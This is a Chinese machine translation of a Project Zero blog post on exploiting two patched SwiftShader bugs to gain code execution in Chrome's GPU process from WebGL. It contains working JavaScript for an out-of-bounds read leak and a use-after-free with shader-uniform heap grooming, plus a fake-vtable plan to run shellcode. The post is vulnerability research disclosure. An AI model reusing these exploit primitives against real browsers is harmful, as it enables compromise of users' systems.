Heap Feng Shader: Exploiting SwiftShader in Chrome
机器翻译+简单人工润色于 https://googleprojectzero.blogspot.com/2018/10/heap-feng-shader-exploiting-swiftshader.html
Wednesday, October 24, 2018
马克·布兰德(Mark Brand)发布,Project Zero。
在大多数系统上,在正常情况下,Chrome永远不会使用SwiftShader-如果您有已知错误的“列入黑名单”的图形卡或驱动程序,它将用作后备。但是,Chrome还可以在运行时确定您的图形驱动程序存在问题,并切换到使用SWIFT Shader以提供更好的用户体验。
如果您对性能差异感兴趣,或者只是想玩一玩,您可以使用SwiftShader 启动Chrome,而不是使用-DISABLE-GPU命令行标志来启动GPU加速。
SwiftShader 是Chrome中一个相当有趣的攻击面,因为所有的渲染工作都是在一个单独的进程(GPU进程)中完成的。
由于此进程负责绘制到屏幕上,因此它需要比通常处理网页内容的高度沙箱化的渲染器进程具有更多的权限。
在典型的Linux桌面系统配置上,沙箱访问X11服务器方面的技术限制意味着这个沙箱非常薄弱;在Windows等其他平台上,GPU进程仍然可以访问更大的内核攻击面。
我们是否可以编写一个在GPU进程中获得代码执行而不首先损害渲染器的漏洞攻击?
我们将关注利用我们报告的两个问题,这两个问题最近由Chrome解决了。
事实证明,如果你有一个受支持的GPU,它仍然是一个相对简单的攻击:攻击者强制您的浏览器使用快速的图形着色器——如果GPU进程崩溃超过4次,Chrome将回落到这一软件渲染路径,而不是禁用加速。
在我的测试中,让GPU进程崩溃或遇到来自WebGL的内存不足问题非常简单——这是留给感兴趣的读者的练习。
对于这篇博文的其余部分,我们将假设GPU进程已经处于回退软件渲染模式。
先前的精度问题
我们之前讨论了由SwftShader代码中的一些精度问题导致的信息泄漏问题——因此,我们将从这里开始,从这个问题中找到一个有用的泄漏原语。
稍作调整后,我得到了下面的结果,该结果将在GPU进程中分配一个大小为0xb620000的纹理,当函数read()被调用时,它将直接在该缓冲区后面返回0×10000字节返回给javascript。
(分配将发生在标记的第一行,越界访问发生在第二行)。
function issue_1584(gl) {
const src_width = 0x2000;
const src_height = 0x16c4;
// we use a texture for the source, since this will be allocated directly
// when we call glTexImage2D.
this.src_fb = gl.createFramebuffer();
gl.bindFramebuffer(gl.READ_FRAMEBUFFER, this.src_fb);
let src_data = new Uint8Array(src_width * src_height * 4);
for (var i = 0; i < src_data.length; ++i) {
src_data[i] = 0x41;
}
let src_tex = gl.createTexture();
gl.bindTexture(gl.TEXTURE_2D, src_tex);
【1】 gl.texImage2D(gl.TEXTURE_2D, 0, gl.RGBA8, src_width, src_height, 0, gl.RGBA, gl.UNSIGNED_BYTE, src_data);
gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MIN_FILTER, gl.NEAREST);
gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MAG_FILTER, gl.NEAREST);
gl.framebufferTexture2D(gl.READ_FRAMEBUFFER, gl.COLOR_ATTACHMENT0, gl.TEXTURE_2D, src_tex, 0);
this.read = function() {
gl.bindFramebuffer(gl.READ_FRAMEBUFFER, this.src_fb);
const dst_width = 0x2000;
const dst_height = 0x1fc4;
dst_fb = gl.createFramebuffer();
gl.bindFramebuffer(gl.DRAW_FRAMEBUFFER, dst_fb);
let dst_rb = gl.createRenderbuffer();
gl.bindRenderbuffer(gl.RENDERBUFFER, dst_rb);
gl.renderbufferStorage(gl.RENDERBUFFER, gl.RGBA8, dst_width, dst_height);
gl.framebufferRenderbuffer(gl.DRAW_FRAMEBUFFER, gl.COLOR_ATTACHMENT0, gl.RENDERBUFFER, dst_rb);
gl.bindFramebuffer(gl.DRAW_FRAMEBUFFER, dst_fb);
// trigger
【2】 gl.blitFramebuffer(0, 0, src_width, src_height,
0, 0, dst_width, dst_height,
gl.COLOR_BUFFER_BIT, gl.NEAREST);
// copy the out of bounds data back to javascript
var leak_data = new Uint8Array(dst_width * 8);
gl.bindFramebuffer(gl.READ_FRAMEBUFFER, dst_fb);
gl.readPixels(0, dst_height - 1, dst_width, 1, gl.RGBA, gl.UNSIGNED_BYTE, leak_data);
return leak_data.buffer;
}
return this;
}
这看起来可能是一个非常粗糙的泄漏原语,但由于SWIFTShader使用的是系统堆,因此很容易安排直接在此分配之后的内存可以安全地访问。
还有第二个错误
现在,我们拥有的下一个漏洞是一个由引用计数溢出引起的 egl::ImageImplementation 对象的UAF 漏洞。
从利用的角度来看,这个对象是一个非常好的对象,因为从javascript中我们可以从它存储的数据中读写,所以似乎最好的利用方法是用一个损坏的版本替换这个对象;但是,由于它是一个c++对象,我们需要在GPU进程中打破ASLR来实现这一点。
如果您阅读的是利用漏洞攻击代码,则feng_shader.html中的函数leak_image实现了egl::ImageImplementation对象的粗略喷射,并使用上面的信息泄漏来查找要复制的对象。
所以——盘点一下:
我们刚刚释放了一个对象,并且我们确切地知道应该在该对象中的数据是什么样子的。
这看起来很简单——现在我们只需要找到一个允许我们替换它的原语就可以了!这实际上是该漏洞中最令人沮丧的部分。
由于OpenGL命令从WebGL传递到GPU进程时会发生多个级别的验证/复制(初始WebGL验证(在渲染器中)、GPU命令缓冲区接口、ANGLE验证),因此使用受控制的数据获得控制大小的单个分配是非常重要的!
我们期望有用的大多数分配数据(图像/纹理数据等)到最后有很多的大小限制或被四舍五入到不同的大小。
但是,有一个很好的原语做这个——shader uniforms。
这就是将参数传递给可编程GPU着色器的方式;如果我们查看SwiftShader代码,我们可以看到(最终)在分配这些参数时,它们将直接调用operator new[]。
我们可以从uniform存储的数据中读取和写入数据,因此这将为我们提供所需的原语。
下面的代码实现了SwiftShader/GPU进程中(非常基本的)堆修饰的这一技术,以及用于溢出引用计数的优化方法。
当链接程序对象时,Shader源代码(第一个标记的部分)将产生4次大小为0xf0的分配,第二个标记部分是原始对象将被释放并替换为Shader uniform对象的位置。
function issue_1585(gl, fake) {
let vertex_shader = gl.createShader(gl.VERTEX_SHADER);
gl.shaderSource(vertex_shader, `
【1】 attribute vec4 position;
【1】 uniform int block0[60];
【1】 uniform int block1[60];
【1】 uniform int block2[60];
【1】 uniform int block3[60];
【1】 void main() {
【1】 gl_Position = position;
【1】 gl_Position.x += float(block0[0]);
【1】 gl_Position.x += float(block1[0]);
【1】 gl_Position.x += float(block2[0]);
【1】 gl_Position.x += float(block3[0]);
【1】 }`);
gl.compileShader(vertex_shader);
let fragment_shader = gl.createShader(gl.FRAGMENT_SHADER);
gl.shaderSource(fragment_shader, `
void main() {
gl_FragColor = vec4(0.0, 0.0, 0.0, 0.0);
}`);
gl.compileShader(fragment_shader);
this.program = gl.createProgram();
gl.attachShader(this.program, vertex_shader);
gl.attachShader(this.program, fragment_shader);
const uaf_width = 8190;
const uaf_height = 8190;
this.fb = gl.createFramebuffer();
uaf_rb = gl.createRenderbuffer();
gl.bindFramebuffer(gl.READ_FRAMEBUFFER, this.fb);
gl.bindRenderbuffer(gl.RENDERBUFFER, uaf_rb);
gl.renderbufferStorage(gl.RENDERBUFFER, gl.RGBA32UI, uaf_width, uaf_height);
gl.framebufferRenderbuffer(gl.READ_FRAMEBUFFER, gl.COLOR_ATTACHMENT0, gl.RENDERBUFFER, uaf_rb);
let tex = gl.createTexture();
gl.bindTexture(gl.TEXTURE_CUBE_MAP, tex);
// trigger
for (i = 2; i < 0x10; ++i) {
gl.copyTexImage2D(gl.TEXTURE_CUBE_MAP_POSITIVE_X, 0, gl.RGBA32UI, 0, 0, uaf_width, uaf_height, 0);
}
function unroll(gl) {
gl.copyTexImage2D(gl.TEXTURE_CUBE_MAP_POSITIVE_X, 0, gl.RGBA32UI, 0, 0, uaf_width, uaf_height, 0);
// snip ...
gl.copyTexImage2D(gl.TEXTURE_CUBE_MAP_POSITIVE_X, 0, gl.RGBA32UI, 0, 0, uaf_width, uaf_height, 0);
}
for (i = 0x10; i < 0x100000000; i += 0x10) {
unroll(gl);
}
【2】 // the egl::ImageImplementation for the rendertarget of uaf_rb is now 0, so
【2】 // this call will free it, leaving a dangling reference
【2】 gl.copyTexImage2D(gl.TEXTURE_CUBE_MAP_POSITIVE_X, 0, gl.RGBA32UI, 0, 0, 256, 256, 0);
【2】 // replace the allocation with our shader uniform.
【2】 gl.linkProgram(this.program);
【2】 gl.useProgram(this.program);
function wait(ms) {
var start = Date.now(),
now = start;
while (now - start < ms) {
now = Date.now();
}
}
function read(uaf, index) {
wait(200);
var read_data = new Int32Array(60);
for (var i = 0; i < 60; ++i) {
read_data[i] = gl.getUniform(uaf.program, gl.getUniformLocation(uaf.program, 'block' + index.toString() + '[' + i.toString() + ']'));
}
return read_data.buffer;
}
function write(uaf, index, buffer) {
gl.uniform1iv(gl.getUniformLocation(uaf.program, 'block' + index.toString()), new Int32Array(buffer));
wait(200);
}
this.read = function() {
return read(this, this.index);
}
this.write = function(buffer) {
return write(this, this.index, buffer);
}
for (var i = 0; i < 4; ++i) {
write(this, i, fake.buffer);
}
gl.readPixels(0, 0, 2, 2, gl.RGBA_INTEGER, gl.UNSIGNED_INT, new Uint32Array(2 * 2 * 16));
for (var i = 0; i < 4; ++i) {
data = new DataView(read(this, i));
for (var j = 0; j < 0xf0; ++j) {
if (fake.getUint8(j) != data.getUint8(j)) {
log('uaf block index is ' + i.toString());
this.index = i;
return this;
}
}
}
}
此时,我们可以修改对象,使我们能够从GPU进程的所有内存中进行读写;有关如何使用gl.readPixels和gl.blitFrameBuffer方法,请参见read_write函数。
现在,从这一点开始执行任意代码应该是相当简单的,尽管当您必须替换c++对象时,让您的ROP链很好地排列起来通常是一件痛苦的事情,但这是一个非常容易处理的问题。还有另一个诀窍可以使这种利用变得更加优雅。
SwiftShader 使用Shader 的JIT编译以获得尽可能高的性能,而JIT编译器使用另一个c++对象来处理加载生成的ELF可执行文件并将其映射到内存中。也许我们可以创建一个假对象,将egl::ImageImplementation对象用作SubzeroReactor::ELFMemoryStreamer (https://cs.chromium.org/chromium/src/third_party/swiftshader/src/Reactor/SubzeroReactor.cpp?rcl=fe79649598fb9bdf6d4567d58704e3a255dd5bb6&l=439) 对象,并让GPU进程为我们加载ELF文件作为负载,而不是自己摆弄?
所以,我们可以通过创建一个假的vtable,像这样:
egl::ImageImplementation::lockInternal -> egl::ImageImplementation::lockInternal
egl::ImageImplementation::unlockInternal -> ELFMemoryStreamer::getEntry
egl::ImageImplementation::release -> shellcode
然后,当我们从这个图像对象读取时,我们将在GPU进程中执行我们的shellcode,而不是将像素返回给javascript。
结论
有趣的是,我们可以在现代浏览器代码库的一些不太可能的地方直接发现javascript可访问的攻击面,当我们从侧面看事情时——避免了可能更明显和更有争议的领域,如主要的javascript JIT引擎。
许多代码库有很长的开发历史,在不同版本之间的兼容性和一致性方面也有许多权衡。有必要回顾一下其中的一些特性,看看在发布这些特性之后,最初的期望是否仍然有效,以及它们今天是否仍然有效,或者这些特性是否真的可以在不对用户产生重大影响的情况下被删除。